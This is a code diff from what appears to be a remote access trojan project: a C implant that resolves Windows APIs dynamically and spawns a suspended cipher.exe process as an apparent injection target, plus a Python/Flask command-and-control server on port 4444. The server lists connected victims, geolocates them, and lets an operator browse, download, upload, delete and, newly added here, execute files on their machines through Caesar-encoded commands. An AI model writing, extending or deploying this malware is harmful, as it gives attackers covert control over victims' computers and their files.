|
||||
typedef NTSTATUS(NTAPI* TLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
|
||||
typedef HMODULE(WINAPI* TLoadLibraryA)(LPCSTR);
|
||||
|
||||
typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int);
|
||||
typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int);
|
||||
@@ -19,28 +29,8 @@ typedef int(WINAPI* TWSAGetLastError)(void);
|
||||
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
|
||||
typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int);
|
||||
|
||||
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
|
||||
typedef void* (WINAPI* Tmalloc)(size_t);
|
||||
typedef void(WINAPI* Tfree)(void*);
|
||||
typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t);
|
||||
typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t);
|
||||
typedef char*(WINAPI* Tstrcpy)(char*, const char*);
|
||||
typedef int(WINAPI* Tremove)(const char*);
|
||||
typedef int(WINAPI* Trmdir)(const char*);
|
||||
typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
|
||||
typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
|
||||
typedef void*(WINAPI* Trealloc)(void*, size_t);
|
||||
typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
|
||||
typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
|
||||
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
|
||||
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
|
||||
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
|
||||
typedef int(WINAPI* Tfclose)(FILE*);
|
||||
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
|
||||
typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*);
|
||||
typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR);
|
||||
typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR);
|
||||
typedef int(WINAPI* Twcscmp)(const wchar_t*, const wchar_t*);
|
||||
|
||||
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
@@ -54,8 +44,15 @@ typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_ST
|
||||
typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD);
|
||||
typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
|
||||
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
|
||||
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||
typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T);
|
||||
typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID);
|
||||
typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T);
|
||||
typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
|
||||
typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR);
|
||||
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
||||
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
||||
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
||||
@@ -63,15 +60,8 @@ typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
|
||||
typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
|
||||
typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR);
|
||||
typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR);
|
||||
typedef HANDLE(WINAPI* TCreateToolhelp32Snapshot)(DWORD, DWORD);
|
||||
typedef BOOL(WINAPI* TProcess32FirstW)(HANDLE, LPPROCESSENTRY32W);
|
||||
typedef HANDLE(WINAPI* TOpenProcess)(DWORD, BOOL, DWORD);
|
||||
typedef BOOL(WINAPI* TProcess32NextW)(HANDLE, LPPROCESSENTRY32W);
|
||||
typedef BOOL(WINAPI* TIsWow64Process)(HANDLE, PBOOL);
|
||||
typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||||
typedef LPVOID(WINAPI* TVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(WINAPI* TSetFilePointer)(HANDLE, LONG, PLONG, DWORD);
|
||||
typedef BOOL(WINAPI* TGetFileSizeEx)(HANDLE, PLARGE_INTEGER);
|
||||
|
||||
typedef struct ApiList {
|
||||
Tconnect connect;
|
||||
@@ -86,11 +76,15 @@ typedef struct ApiList {
|
||||
Tselect select;
|
||||
Tsetsockopt setsockopt;
|
||||
|
||||
Tmemset memset;
|
||||
Tmalloc malloc;
|
||||
Tfree free;
|
||||
Tstrncmp strncmp;
|
||||
|
||||
TLoadLibraryA LoadLibraryA;
|
||||
TCreateFileA CreateFileA;
|
||||
TCreateProcessA CreateProcessA;
|
||||
TCreateRemoteThread CreateRemoteThread;
|
||||
THeapCreate HeapCreate;
|
||||
THeapFree HeapFree;
|
||||
THeapReAlloc HeapReAlloc;
|
||||
THeapAlloc HeapAlloc;
|
||||
TDeleteFileA DeleteFileA;
|
||||
TCreateFileW CreateFileW;
|
||||
TReadFile ReadFile;
|
||||
TWriteFile WriteFile;
|
||||
@@ -103,7 +97,6 @@ typedef struct ApiList {
|
||||
TTerminateThread TerminateThread;
|
||||
TCreateProcessW CreateProcessW;
|
||||
TTerminateProcess TerminateProcess;
|
||||
TFreeLibrary FreeLibrary;
|
||||
TGetProcAddress GetProcAddress;
|
||||
TFindClose FindClose;
|
||||
TGetLogicalDrives GetLogicalDrives;
|
||||
@@ -112,34 +105,11 @@ typedef struct ApiList {
|
||||
TFindNextFileW FindNextFileW;
|
||||
TRemoveDirectoryW RemoveDirectoryW;
|
||||
TDeleteFileW DeleteFileW;
|
||||
TCreateToolhelp32Snapshot CreateToolhelp32Snapshot;
|
||||
TProcess32FirstW Process32FirstW;
|
||||
TOpenProcess OpenProcess;
|
||||
TProcess32NextW Process32NextW;
|
||||
TIsWow64Process IsWow64Process;
|
||||
TWriteProcessMemory WriteProcessMemory;
|
||||
TVirtualAllocEx VirtualAllocEx;
|
||||
TSetFilePointer SetFilePointer;
|
||||
TGetFileSizeEx GetFileSizeEx;
|
||||
|
||||
Tmbstowcs mbstowcs;
|
||||
Twcstombs wcstombs;
|
||||
Tstrcpy strcpy;
|
||||
Tremove remove;
|
||||
Trmdir rmdir;
|
||||
Tstat stat;
|
||||
Tsprintf sprintf;
|
||||
Trealloc realloc;
|
||||
Tlocaltime localtime;
|
||||
Tstrftime strftime;
|
||||
T_snprintf _snprintf;
|
||||
Tfopen fopen;
|
||||
Tfclose fclose;
|
||||
Tfread fread;
|
||||
Tfwrite fwrite;
|
||||
TlstrcpyW lstrcpyW;
|
||||
TlstrcatW lstrcatW;
|
||||
Twcscmp wcscmp;
|
||||
} API;
|
||||
|
||||
void InitApis();
|
||||
|
||||
@@ -1,51 +1,38 @@
|
||||
#include "shellcode.h"
|
||||
#include "libc.h"
|
||||
|
||||
extern API Api;
|
||||
|
||||
HANDLE FindProcessByArch(const wchar_t* arch)
|
||||
{
|
||||
HANDLE hSnapshot;
|
||||
PROCESSENTRY32 pe32;
|
||||
STARTUPINFOW si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
// Take a snapshot of all processes in the system
|
||||
hSnapshot = Api.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
memset_(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset_(&pi, 0, sizeof(pi));
|
||||
|
||||
// Iterate through the processes in the system
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
if (!Api.Process32FirstW(hSnapshot, &pe32)) {
|
||||
Api.CloseHandle(hSnapshot);
|
||||
return NULL;
|
||||
}
|
||||
do {
|
||||
HANDLE hProcess;
|
||||
BOOL isWow64;
|
||||
LPWSTR path32 = L"C:\\Windows\\SysWOW64\\cipher.exe";
|
||||
LPWSTR path64 = L"C:\\Windows\\System32\\cipher.exe";
|
||||
LPWSTR path = 0;
|
||||
|
||||
hProcess = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL) {
|
||||
continue;
|
||||
}
|
||||
if (wcscmp_(arch, L"x86") == 0)
|
||||
path = path32;
|
||||
else
|
||||
path = path64;
|
||||
|
||||
// Determine the process architecture
|
||||
if (!Api.IsWow64Process(hProcess, &isWow64)) {
|
||||
// Failed to determine the process architecture, so skip to the next process
|
||||
Api.CloseHandle(hProcess);
|
||||
hProcess = NULL;
|
||||
continue;
|
||||
}
|
||||
BOOL status = Api.CreateProcessW(
|
||||
NULL, // Application name
|
||||
path, // Command line
|
||||
NULL, // Process security attributes
|
||||
NULL, // Primary thread security attributes
|
||||
FALSE, // Handles are not inherited
|
||||
CREATE_SUSPENDED, // Creation flags
|
||||
NULL, // Use parent's environment block
|
||||
NULL, // Starting directory
|
||||
&si, // Pointer to STARTUPINFOW structure
|
||||
&pi // Pointer to PROCESS_INFORMATION structure
|
||||
);
|
||||
|
||||
// Check if the process matches the provided architecture
|
||||
if ((Api.wcscmp(arch, L"x86") == 0 && !isWow64) || (Api.wcscmp(arch, L"x64") == 0 && isWow64)) {
|
||||
if (hProcess != NULL) {
|
||||
Api.CloseHandle(hSnapshot);
|
||||
return hProcess;
|
||||
}
|
||||
}
|
||||
} while (Api.Process32NextW(hSnapshot, &pe32));
|
||||
|
||||
// No matching process found
|
||||
Api.CloseHandle(hSnapshot);
|
||||
return NULL;
|
||||
return pi.hProcess;
|
||||
}
|
||||
@@ -1,18 +1,9 @@
|
||||
#include "utils.h"
|
||||
#include "libc.h"
|
||||
|
||||
const int _fltused = 0; //fuck linker errors, all my homies hate CRT
|
||||
extern API Api;
|
||||
|
||||
void Message() {
|
||||
if (1 == 3) {
|
||||
int msgboxID = MessageBox(
|
||||
NULL,
|
||||
(LPCWSTR)L"Hello this is a message box",
|
||||
(LPCWSTR)L"Hello !",
|
||||
MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#define KEY 5
|
||||
char* CAESAR(char* in) {
|
||||
for (size_t i = 0; i < strlen(in); i++) {
|
||||
@@ -34,7 +25,7 @@ LPCWSTR ConvertCharToWChar(const char* str)
|
||||
{
|
||||
int len = strlen(str) + 1;
|
||||
int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0);
|
||||
LPWSTR wstr = (LPWSTR)Api.malloc(wlen * sizeof(WCHAR));
|
||||
LPWSTR wstr = (LPWSTR)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, wlen * sizeof(WCHAR));
|
||||
Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen);
|
||||
return wstr;
|
||||
}
|
||||
|
||||
@@ -29,7 +29,7 @@
|
||||
<thead>
|
||||
<tr>
|
||||
<th data-sortable="false" data-width="20" data-checkbox="true"></th>
|
||||
<th data-sortable="true">Nom</th>
|
||||
<th data-sortable="false">Nom</th>
|
||||
<th data-sortable="false" data-width="150">Modifié le</th>
|
||||
<th data-sortable="true" data-width="50">Taille</th>
|
||||
</tr>
|
||||
@@ -131,7 +131,7 @@
|
||||
});
|
||||
|
||||
// Add buttons to the table
|
||||
$('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button></div>');
|
||||
$('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button><button id="execute-button">Execute</button></div>');
|
||||
|
||||
function get_checked_rows() {
|
||||
var checkboxes = document.querySelectorAll('input[type="checkbox"]');
|
||||
@@ -183,6 +183,10 @@
|
||||
$('#remove-button').on('click', function() {
|
||||
send_from_button("remove");
|
||||
});
|
||||
|
||||
$('#execute-button').on('click', function() {
|
||||
send_from_button("execute");
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
@@ -12,8 +12,9 @@ import logging
|
||||
import urllib.parse
|
||||
import select
|
||||
import math
|
||||
import re
|
||||
|
||||
ADRESSE = "192.168.1.35"#socket.gethostname()
|
||||
ADRESSE = socket.gethostbyname(socket.gethostname())
|
||||
PORT = 4444
|
||||
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
||||
THREAD_LIST = [] #tout les threads
|
||||
@@ -122,10 +123,14 @@ def recv_folder(client, path, addr, i) :
|
||||
f = CAESAR_DECRYPT(f_d)
|
||||
|
||||
client.send(CAESAR("get_obj_info").encode())
|
||||
|
||||
|
||||
client.send(CAESAR(path + '\\' + f + "\0").encode())
|
||||
|
||||
infos = recv_message_ret(client).decode("latin-1")
|
||||
infos = recv_message_ret(client)
|
||||
try :
|
||||
infos = infos.decode("latin-1")
|
||||
except :
|
||||
pass
|
||||
taille = infos.split("/")[0]
|
||||
|
||||
if taille != '0' :
|
||||
@@ -179,12 +184,14 @@ def interact() :
|
||||
files = []
|
||||
if action != "upload" :
|
||||
for f in file_list :
|
||||
if f == None :
|
||||
continue
|
||||
files.append(f.split('">')[1].replace("</a>",""))
|
||||
|
||||
match action :
|
||||
case "download" :
|
||||
print("\n\nTéléchargement...\n\n")
|
||||
for i in files :
|
||||
print(f"files:{files} i:{i} FILES_:{FILES_}")
|
||||
path = path_file_ex_2 + i
|
||||
if i in FILES_ :
|
||||
#call download file
|
||||
@@ -198,10 +205,8 @@ def interact() :
|
||||
recv_folder(client, path, addr, i)
|
||||
|
||||
time.sleep(0.05)
|
||||
print("\n\nTéléchargement terminé.\n\n")
|
||||
|
||||
case "upload" :
|
||||
print("\n\nUpload...\n\n")
|
||||
filename = easygui.fileopenbox()
|
||||
|
||||
if filename == None or path_file_ex_2 == "" :
|
||||
@@ -216,7 +221,8 @@ def interact() :
|
||||
|
||||
fp = open(filename, "rb")
|
||||
upload_file(fp, client)
|
||||
print("\n\nUpload terminé.\n\n")
|
||||
|
||||
time.sleep(0.05)
|
||||
|
||||
case "remove" :
|
||||
for i in files :
|
||||
@@ -233,9 +239,21 @@ def interact() :
|
||||
client.send(CAESAR(path + "\0").encode())
|
||||
|
||||
time.sleep(0.05)
|
||||
|
||||
case "execute" :
|
||||
for i in files :
|
||||
path = path_file_ex_2 + i
|
||||
if i in FILES_ :
|
||||
client.send(CAESAR("execute\0").encode())
|
||||
|
||||
client.send(CAESAR(path + "\0").encode())
|
||||
|
||||
return 'ok'
|
||||
|
||||
def extract_filename(url):
|
||||
match = re.search(r'<a class="centered">(.+?)</a>', url)
|
||||
return match.group(1) if match else ''
|
||||
|
||||
@app.route('/get_data', methods=['POST'])
|
||||
def get_data() :
|
||||
global path_file_ex
|
||||
@@ -267,7 +285,7 @@ def get_data() :
|
||||
i = -1
|
||||
if CONNECT_CLIENTS != [] :
|
||||
data.append({"url" : f"<a>..</a>", "modified":"", "size" : ""})
|
||||
|
||||
|
||||
for client in CONNECT_CLIENTS :
|
||||
i += 1
|
||||
if len(path_file_ex.split("/")) == 1 or path_file_ex == "" :
|
||||
@@ -281,7 +299,12 @@ def get_data() :
|
||||
if client_num != i : continue
|
||||
|
||||
client.send(CAESAR("get_drives").encode())
|
||||
drives = recv_message_ret(client).decode("utf-8")
|
||||
drives = recv_message_ret(client)
|
||||
|
||||
try :
|
||||
drives = drives.decode("utf-8")
|
||||
except :
|
||||
pass
|
||||
for d in drives :
|
||||
data.append({"url": f"<a>{d}</a>", "modified": "", "size":""})
|
||||
continue
|
||||
@@ -301,35 +324,46 @@ def get_data() :
|
||||
|
||||
path_file_ex_2 = '/'.join(path_parts)
|
||||
client.send(CAESAR(path_file_ex_2 + "\0").encode())
|
||||
|
||||
files = recv_message_ret(client).decode("latin-1")
|
||||
|
||||
files = ""
|
||||
try :
|
||||
files = recv_message_ret(client).decode("latin-1")
|
||||
except :
|
||||
files = recv_message_ret(client)
|
||||
if files == "" : return ""
|
||||
aaa = ""
|
||||
try :
|
||||
aaa = files.split("/")
|
||||
except : return ""
|
||||
|
||||
FILES_ = []
|
||||
for f in files.split("/") :
|
||||
for f in aaa:
|
||||
f = CAESAR_DECRYPT(f)
|
||||
#print(path_file_ex + f)
|
||||
|
||||
client.send(CAESAR("get_obj_info").encode())
|
||||
|
||||
client.send(CAESAR(path_file_ex_2 + f + "\0").encode())
|
||||
|
||||
infos = recv_message_ret(client).decode("latin-1")
|
||||
taille, modified = infos.split("/")
|
||||
|
||||
is_dir = False
|
||||
if taille != "N" :
|
||||
taille = convert_size(int(taille))
|
||||
if taille == "0 O" :
|
||||
is_dir = True
|
||||
else :
|
||||
FILES_.append(f)
|
||||
infos = ""
|
||||
try:
|
||||
infos = recv_message_ret(client).decode("latin-1")
|
||||
except :
|
||||
infos = recv_message_ret(client)
|
||||
|
||||
is_dir = infos == "d"
|
||||
modified = ""
|
||||
taille = ""
|
||||
if not is_dir :
|
||||
FILES_.append(f)
|
||||
if f[0] == "$" :
|
||||
f = "." + f[1:]
|
||||
if is_dir :
|
||||
data.append({"url": f"<img src=\"images/folder.png\" alt=\"Folder Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>",
|
||||
"modified": f"{modified}", "size": f"{taille}"})
|
||||
else :
|
||||
data.append({"url": f"<img src=\"images/file.png\" alt=\"File Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>",
|
||||
"modified": f"{modified}", "size": f"{taille}"})
|
||||
|
||||
|
||||
json_data = jsonify({"data":data})
|
||||
return json_data
|
||||
|
||||
@@ -343,7 +377,7 @@ def ban() :
|
||||
print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
|
||||
print(Fore.RED + " / / / _` || || |/ // _` |")
|
||||
print(Fore.RED + "/ /___| (_| || || <| (_| |")
|
||||
print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|")
|
||||
print(Fore.RED + "\\____/ \\__,_||_||_|\\_\\\\__,_|")
|
||||
print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
|
||||
print("")
|
||||
|
||||
@@ -489,7 +523,7 @@ def main() -> None :
|
||||
c = CONNECT_CLIENTS[i]
|
||||
addr = c.getpeername()[0]
|
||||
pays = ""
|
||||
match = geolite2.lookup(addr)
|
||||
match = None#geolite2.lookup(addr)
|
||||
|
||||
if match is not None :
|
||||
pays = match.country
|
||||
@@ -563,7 +597,10 @@ def main() -> None :
|
||||
|
||||
fp = open(fichier, "rb")
|
||||
upload_file(fp, client)
|
||||
|
||||
|
||||
elif cmd == "" :
|
||||
pass
|
||||
|
||||
else :
|
||||
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
||||
|
||||
|
||||
@@ -3,3 +3,4 @@ prettytable
|
||||
easygui
|
||||
python-geoip-python3
|
||||
python-geoip-geolite2
|
||||
flask
|
||||
Reference in New Issue
Block a user